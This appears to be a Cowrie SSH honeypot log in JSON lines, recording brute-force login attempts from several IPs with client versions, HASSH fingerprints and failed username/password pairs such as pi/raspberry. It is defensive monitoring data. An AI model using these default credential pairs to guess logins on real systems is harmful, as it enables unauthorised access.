{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"ftpadmin","message":"login attempt [ftpadmin/ftpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:42.721752Z","src_ip":"92.118.39.92","session":"121c5f19f515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:06:43.825382Z","src_ip":"92.118.39.92","session":"121c5f19f515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":36792,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc1002ec8046","protocol":"ssh","message":"New connection: 193.32.162.151:36792 (159.203.135.109:22) [session: fc1002ec8046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:07:20.824879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:07:20.859654Z","src_ip":"193.32.162.151","session":"fc1002ec8046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:07:20.931280Z","src_ip":"193.32.162.151","session":"fc1002ec8046","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sgf","password":"sgf","message":"login attempt [sgf/sgf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:07:21.336719Z","src_ip":"193.32.162.151","session":"fc1002ec8046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:07:22.445420Z","src_ip":"193.32.162.151","session":"fc1002ec8046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":39436,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e92cc6ad1aa","protocol":"ssh","message":"New connection: 92.118.39.76:39436 (159.203.135.109:22) [session: 9e92cc6ad1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:00.479523Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:00.581864Z","src_ip":"92.118.39.76","session":"9e92cc6ad1aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":52414,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a7a1f0d8f0d","protocol":"ssh","message":"New connection: 92.118.39.92:52414 (10.17.0.5:22) [session: 3a7a1f0d8f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:00.691922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:00.697761Z","src_ip":"92.118.39.92","session":"3a7a1f0d8f0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:00.805123Z","src_ip":"92.118.39.92","session":"3a7a1f0d8f0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest","message":"login attempt [ftptest/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:01.142600Z","src_ip":"92.118.39.92","session":"3a7a1f0d8f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:02.256793Z","src_ip":"92.118.39.92","session":"3a7a1f0d8f0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":52656,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed33d7e7a32","protocol":"ssh","message":"New connection: 193.32.162.151:52656 (159.203.135.109:22) [session: 4ed33d7e7a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:35.755192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:35.759617Z","src_ip":"193.32.162.151","session":"4ed33d7e7a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:35.865399Z","src_ip":"193.32.162.151","session":"4ed33d7e7a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"1qaz@WSX","message":"login attempt [hduser/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:36.228986Z","src_ip":"193.32.162.151","session":"4ed33d7e7a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:09:37.338457Z","src_ip":"193.32.162.151","session":"4ed33d7e7a32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":40828,"dst_ip":"10.17.0.5","dst_port":22,"session":"1542d17134ad","protocol":"ssh","message":"New connection: 92.118.39.92:40828 (10.17.0.5:22) [session: 1542d17134ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:11:23.555764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:11:23.560950Z","src_ip":"92.118.39.92","session":"1542d17134ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:11:23.664876Z","src_ip":"92.118.39.92","session":"1542d17134ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:11:23.990073Z","src_ip":"92.118.39.92","session":"1542d17134ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:11:25.097135Z","src_ip":"92.118.39.92","session":"1542d17134ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":40264,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8812e6b2443","protocol":"ssh","message":"New connection: 193.32.162.151:40264 (159.203.135.109:22) [session: d8812e6b2443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:11:51.975074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:11:51.979116Z","src_ip":"193.32.162.151","session":"d8812e6b2443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:11:52.075952Z","src_ip":"193.32.162.151","session":"d8812e6b2443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbuser","password":"dbuser","message":"login attempt [dbuser/dbuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:11:52.371897Z","src_ip":"193.32.162.151","session":"d8812e6b2443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:11:53.472519Z","src_ip":"193.32.162.151","session":"d8812e6b2443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.105.173.160","src_port":55474,"dst_ip":"10.17.0.5","dst_port":22,"session":"552d3cc0f195","protocol":"ssh","message":"New connection: 116.105.173.160:55474 (10.17.0.5:22) [session: 552d3cc0f195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:12:03.587151Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.105.173.160","src_port":55478,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9ae09fb662d","protocol":"ssh","message":"New connection: 116.105.173.160:55478 (10.17.0.5:22) [session: b9ae09fb662d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:12:03.605050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","message":"Remote SSH version: SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:12:03.816566Z","src_ip":"116.105.173.160","session":"552d3cc0f195","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","message":"Remote SSH version: SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:12:03.834637Z","src_ip":"116.105.173.160","session":"b9ae09fb662d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"ec7378c1a92f5a8dde7e8b7a1ddf33d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: ec7378c1a92f5a8dde7e8b7a1ddf33d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:12:04.039751Z","src_ip":"116.105.173.160","session":"552d3cc0f195","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"ec7378c1a92f5a8dde7e8b7a1ddf33d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: ec7378c1a92f5a8dde7e8b7a1ddf33d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:12:04.052842Z","src_ip":"116.105.173.160","session":"b9ae09fb662d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberryraspberry993311","message":"login attempt [pi/raspberryraspberry993311] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:12:05.201061Z","src_ip":"116.105.173.160","session":"b9ae09fb662d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:12:05.210613Z","src_ip":"116.105.173.160","session":"552d3cc0f195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:12:06.426888Z","src_ip":"116.105.173.160","session":"b9ae09fb662d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:12:06.441366Z","src_ip":"116.105.173.160","session":"552d3cc0f195","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":34903,"dst_ip":"10.17.0.5","dst_port":22,"session":"487a895d5201","protocol":"ssh","message":"New connection: 2.57.121.112:34903 (10.17.0.5:22) [session: 487a895d5201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:38.249108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:38.253835Z","src_ip":"2.57.121.112","session":"487a895d5201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:38.350216Z","src_ip":"2.57.121.112","session":"487a895d5201","protocol":"ssh"}
